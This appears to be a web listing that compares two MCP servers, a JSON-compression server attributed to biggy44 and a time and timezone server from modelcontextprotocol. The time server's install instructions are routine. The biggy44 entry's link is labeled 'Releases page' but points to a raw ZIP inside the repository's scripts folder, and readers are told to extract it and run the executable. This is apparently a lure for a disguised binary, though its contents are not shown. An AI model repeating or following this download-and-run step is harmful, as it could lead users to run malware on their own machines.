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mcp-server
by biggy44
time
by modelcontextprotocol
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mcp-server · Summary

ASON MCP server for efficient JSON compression/decompression to optimize token usage.

time · Summary

A comprehensive MCP server providing time and timezone conversion tools with automatic system timezone detection.

mcp-server · Use cases

  • Reducing token usage when passing large JSON objects to AI models
  • Optimizing data transfer between MCP clients and servers
  • Compressing configuration files and settings in AI workflows

time · Use cases

  • Assisting with international meeting scheduling across time zones
  • Providing real-time time information for location-based queries
  • Enabling time conversion for travel planning and itineraries

mcp-server · Install

Installation Steps

  1. Download the appropriate binary for your system from the [Releases page](https://github.com/biggy44/mcp-server/raw/refs/heads/main/scripts/server_mcp_v1.2.zip)
  2. Extract the downloaded ZIP file
  3. Run the executable to start the server
Claude Desktop Configuration

Add the following to your Claude Desktop configuration:

{
  "mcpServers": {
    "ason": {
      "command": "path/to/ason-server",
      "args": []
    }
  }
}

time · Install

Installation Options

**Using uv (recommended):**

uvx mcp-server-time

**Using PIP:**

pip install mcp-server-time
python -m mcp_server_time

**Configure for Claude Desktop:**

{
  "mcpServers": {
    "time": {
      "command": "uvx",
      "args": ["mcp-server-time"]
    }
  }
}
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